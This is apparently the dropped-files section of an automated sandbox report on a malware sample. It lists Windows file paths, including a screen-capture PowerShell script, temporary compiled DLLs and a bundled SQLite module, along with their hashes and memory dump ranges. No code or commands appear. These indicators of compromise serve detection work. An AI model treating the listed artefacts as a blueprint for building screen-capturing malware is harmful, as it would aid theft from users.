ca24df1817fa1aa670674846e5d41614

SHA1
dac66ea013bcc46d24f1ece855568187c6080eaf

SHA256
3b9d5525002b14e4b5c044e80d3035420d037b48d94a1f836c5a253df0c539db

SHA512
fb1848fa381fa360171ba13e1aa15c7029ff543c806f34ae524f04bda637b48e1aa06e831843aa830173c0a218072da7f3d0bc52ce56364b888c53234a224631

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\CaptureScreens.ps1

Filesize
2KB

MD5
d2d1fe9eec5393fd92eb5627417f0167

SHA1
1d8159543276285d6d957fa6763cc46c555bdf46

SHA256
43a84d0067f2ed01796edabb2c1a969009036499a26fe09da46b390c41736f39

SHA512
c9fe28e693e213bc252d4455cd1aa15bcd599e83ac3285c9cbe3785350a2fa110298270850d6f46dd5b2a81c100374e4ff6e9a13807a38bd9b9729a1a6e272a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES4546.tmp

Filesize
1KB

MD5
90b6cdb75696f8a2fb7ed1be18d45177

SHA1
8a89af55bdac300e62304e43b84cf887d6b0edb5

SHA256
0f4860ffb883dd850cc177fe63d309c5d92b15b3b8f54639470cd722e03e5541

SHA512
67564347f2714d2047ca8d8a8a648ce61565ba42392a44ce99d913b0260d291e4575137e1d956a21bc9ef7e111a1811ae4204b08ce12b508fbe6d2e88e636fbd

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES4C7A.tmp

Filesize
1KB

MD5
f7e70a70ab0688355ff1294eaf0c9c38

SHA1
83265e5fa74c807c1ed4cb4fbf33e2f8d88818db

SHA256
47ee67c90d172bb329ed9ee33a67399071ac801d6c808f0d2a83a1b40deb38bd

SHA512
c39d11b8f896fdbc82a79e7a36163c0e1207f62a4602996228b54d5f0f4034e2fc1b595b60600b43c1c58c6fabb82624215ab6b15851d6ce9c8b37b1feccb0e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kfvdripl.j1m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\in0seaff\in0seaff.dll

Filesize
3KB

MD5
f1eb28cf0986a8355440716e258ea015

SHA1
89c0f90b56f354f390726413a487acaf7b675810

SHA256
93ab26cb44db60154be456262407b89c6f75d3c4981bcac02c9d6effe6b83c41

SHA512
bcfe584c9cfc53696089c56eb5a08a26bef29f7ce654875dd704b8a53631ec8806223e8768a58c5d157b70d7000895bb1560cf56c32d22ebc3b80c77d4c79c65

Download Submit
C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\Release\node_sqlite3.node

Filesize
1.8MB

MD5
66a65322c9d362a23cf3d3f7735d5430

SHA1
ed59f3e4b0b16b759b866ef7293d26a1512b952e

SHA256
f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c

SHA512
0a44d12852fc4c74658a49f886c4bc7c715c48a7cb5a3dcf40c9f1d305ca991dd2c2cb3d0b5fd070b307a8f331938c5213188cbb2d27d47737cc1c4f34a1ea21

Download Submit
C:\Users\Admin\AppData\Local\Temp\sxnbdr35\sxnbdr35.dll

Filesize
3KB

MD5
abebf2861b0348fc91aab705377bc3aa

SHA1
a7636537e373d81992cc0afdf820e1bd7ed6cd5f

SHA256
c9d2fa5770d0e550d9dd02873d6681a23154bd875f6374ac8e959ee19a48d431

SHA512
93afaa7e6694d8e9df7246e7250e0ced8e1c56538d532fbe750410ec805935866e65b77ac400d2dcc21baf0f1f94995a07c5bd2c0220e8e93250750759c3c4f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\temp.ps1

Filesize
379B

MD5
18047e197c6820559730d01035b2955a

SHA1
277179be54bba04c0863aebd496f53b129d47464

SHA256
348342fd00e113a58641b2c35dd6a8f2c1fb2f1b16d8dff9f77b05f29e229ef3

SHA512
1942acd6353310623561efb33d644ba45ab62c1ddfabb1a1b3b1dd93f7d03df0884e2f2fc927676dc3cd3b563d159e3043d2eff81708c556431be9baf4ccb877

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\in0seaff\CSCA6EFBCCE6CD0488594C38F78873CACB1.TMP

Filesize
652B

MD5
124c1c628bb1e2b987059adcf42ee9b6

SHA1
cd4206137c8a6a768e33fddd9f8780d42c722608

SHA256
2e4d458284b40a8cf762146e41c5dba92063f449c92b8d49bf4b5c855f5c9b5f

SHA512
dcc46dd4221f9ae11b440786c9b16fdb5608d9e8a3d5677b74ae628ce3dd3d0d355afd5bad059a552b17ac3aa71c3ad6ea1fedbc15be7a8202d34eb38233fec5

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\in0seaff\in0seaff.0.cs

Filesize
426B

MD5
b462a7b0998b386a2047c941506f7c1b

SHA1
61e8aa007164305a51fa2f1cebaf3f8e60a6a59f

SHA256
a81f86cd4d33ebbf2b725df6702b8f6b3c31627bf52eb1cadc1e40b1c0c2bb35

SHA512
eb41b838cc5726f4d1601d3c68d455203d3c23f17469b3c8cbdd552f479f14829856d699f310dec05fe7504a2ae511d0b7ffff6b66ceadb5a225efe3e2f3a020

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\in0seaff\in0seaff.cmdline

Filesize
369B

MD5
3be1e7d9d69589c3b5bf59dfc07f0162

SHA1
a383e28fd168b45eeb9f405b698fd9f239fd5a3b

SHA256
be8d3e7bf30893b67f9716ef617ee4b9fc35b8d4a5be05d08d29cf82ccc9b677

SHA512
5576cc3034a9092d78734e66536f3bca2d29d23f3b36f069f01d7bef4f2ee8ca37dc143d5a17a483219c1ca44e868f8fe369aafaf09386c24aaef56cb7f4ed3a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\sxnbdr35\CSC10DD7C0F410A4DCB85FDDFA52A89D129.TMP

Filesize
652B

MD5
0f7fb50d9182a76cbdff75a993f33404

SHA1
2f1fd67a1f8d3a57bc5db9348d2c4fd000478957

SHA256
fa4acbffda7b30bc2cb1749a7b54a4f5921829c03a9840df79c0eb01ab3fd23c

SHA512
3deee9d13d1a1921760a09d7b6a3b6f852151ca1c1bc270bb005b75bf80e6159d394c1021366177bea1c5434e81d8bfb2bef82532157e2ad4c033d84a386310c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\sxnbdr35\sxnbdr35.0.cs

Filesize
311B

MD5
7bc8de6ac8041186ed68c07205656943

SHA1
673f31957ab1b6ad3dc769e86aedc7ed4b4e0a75

SHA256
36865e3bca9857e07b1137ada07318b9caaef9608256a6a6a7fd426ee03e1697

SHA512
0495839c79597e81d447672f8e85b03d0401f81c7b2011a830874c33812c54dab25b0f89a202bbb71abb4ffc7cb2c07cc37c008b132d4d5d796aebdd12741dba

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\sxnbdr35\sxnbdr35.cmdline

Filesize
369B

MD5
8dfd0a20363d9d14611b1e471b636b52

SHA1
60a20128e76aac9db8b9aa027df0802eac3785dc

SHA256
9ecf09f7521f357fc8508134745832245ed9cc2edf490fdda045808889d03a84

SHA512
4967fce9f5ece21a4eaca5a40b73a68607ca4dbc691bae19968167ebb542821d394192e0c2d24ea71ccc7ffaf57a711976bb1b0231841bd450d31c8e17e3a303

Download Submit
memory/2024-199-0x0000020797400000-0x0000020797408000-memory.dmp

Filesize
32KB

Download
memory/4036-115-0x0000016D5ED90000-0x0000016D5EDE0000-memory.dmp

Filesize
320KB

Download
memory/4572-86-0x000001F5C5C90000-0x000001F5C5D06000-memory.dmp

Filesize
472KB

Download
memory/4572-78-0x000001F5AB5D0000-0x000001F5AB5F2000-memory.dmp

Filesize
136KB

Download
memory/4572-83-0x00007FF8FEDE0000-0x00007FF8FF8A1000-memory.dmp

Filesize
10.8MB

Download
memory/4572-103-0x00007FF8FEDE0000-0x00007FF8FF8A1000-memory.dmp

Filesize
10.8MB

Download
memory/4572-84-0x00007FF8FEDE0000-0x00007FF8FF8A1000-memory.dmp

Filesize
10.8MB

Download
memory/4572-99-0x000001F5C5840000-0x000001F5C5848000-memory.dmp

Filesize
32KB

Download
memory/4572-72-0x00007FF8FEDE3000-0x00007FF8FEDE5000-memory.dmp

Filesize
8KB

Download
memory/4572-85-0x000001F5C5870000-0x000001F5C58B4000-memory.dmp

Filesize
272KB

Download